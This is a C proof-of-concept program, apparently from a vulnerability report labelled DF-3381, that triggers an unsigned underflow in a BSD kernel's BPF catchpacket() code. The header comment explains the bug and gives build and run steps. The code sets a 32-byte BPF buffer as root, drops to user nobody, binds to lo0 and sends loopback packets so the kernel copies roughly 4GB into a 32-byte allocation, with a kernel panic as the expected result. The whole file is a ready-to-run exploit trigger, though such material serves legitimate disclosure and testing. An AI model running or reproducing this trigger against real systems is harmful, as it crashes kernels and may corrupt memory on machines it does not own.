/*
 * DF-3381 PoC — BPF catchpacket() bh_caplen unsigned underflow.
 *
 * Root opens /dev/bpf0, sets a 32-byte buffer (BPF_MINBUFSIZE, accepted by
 * BIOCSBLEN), then drops ALL privileges in the child (setuid nobody) which
 * binds the descriptor to lo0 (bif_hdrlen = 36 on x86-64 > 32) and fires
 * one loopback UDP packet.  catchpacket() clamps totlen to bd_bufsize (32)
 * and computes bh_caplen = totlen - hdrlen = 32-36 = 0xfffffffc, then calls
 * bpf_mcopy(pkt, hp+36, 0xfffffffc) into the 32-byte store buffer.
 *
 * Expected: kernel panic (bpf_mcopy "m == NULL" KASSERT or page fault while
 * copying ~4GB through a 32-byte kmalloc allocation).
 *
 * Build:  cc -O -o trigger trigger.c
 * Run:    ./trigger            (root; the *triggering* process is uid=nobody)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/bpf.h>
#include <net/if.h>
#include <netinet/in.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/wait.h>

#define SMALL_BUF	32

static void
fire_loopback_packet(void)
{
	struct sockaddr_in sin;
	int s, i;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");
	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_port = htons(9999);
	sin.sin_addr.s_addr = htonl(0x7f000001);	/* 127.0.0.1 */
	for (i = 0; i < 8; i++) {
		if (sendto(s, "AAAAAAAABBBBBBBB", 16, 0,
			   (struct sockaddr *)&sin, sizeof(sin)) < 0)
			err(1, "sendto");
	}
	close(s);
}

int
main(void)
{
	u_int blen = SMALL_BUF;
	int fd;

	fd = open("/dev/bpf0", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/bpf0");

	if (ioctl(fd, BIOCSBLEN, &blen) < 0)
		err(1, "BIOCSBLEN");
	printf("[+] BIOCSBLEN -> %u\n", blen);
	if (blen != SMALL_BUF)
		errx(1, "kernel did not accept 32-byte buffer");

	fflush(stdout);
	if (fork() == 0) {
		struct passwd *pw;
		char ifname[IFNAMSIZ] = "lo0";
		struct ifreq ifr;

		pw = getpwnam("nobody");
		if (pw == NULL)
			errx(1, "no nobody user");
		if (setgroups(1, &pw->pw_gid) < 0 ||
		    setgid(pw->pw_gid) < 0 || setuid(pw->pw_uid) < 0)
			err(1, "setuid");
		printf("[+] uid=%d euid=%d, binding to lo0 "
		       "(bif_hdrlen=36 > bd_bufsize=32)\n",
		       (int)getuid(), (int)geteuid());
		fflush(stdout);

		memset(&ifr, 0, sizeof(ifr));
		strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
		if (ioctl(fd, BIOCSETIF, &ifr) < 0)
			err(1, "BIOCSETIF(lo0)");
		printf("[+] BIOCSETIF(lo0) ok -- sending loopback packet\n");
		fflush(stdout);

		fire_loopback_packet();
		printf("[-] packet sent, no panic?? (read side)\n");
		fflush(stdout);
		sleep(5);
		_exit(0);
	}
	wait(NULL);
	printf("[-] survived\n");
	return (0);
}
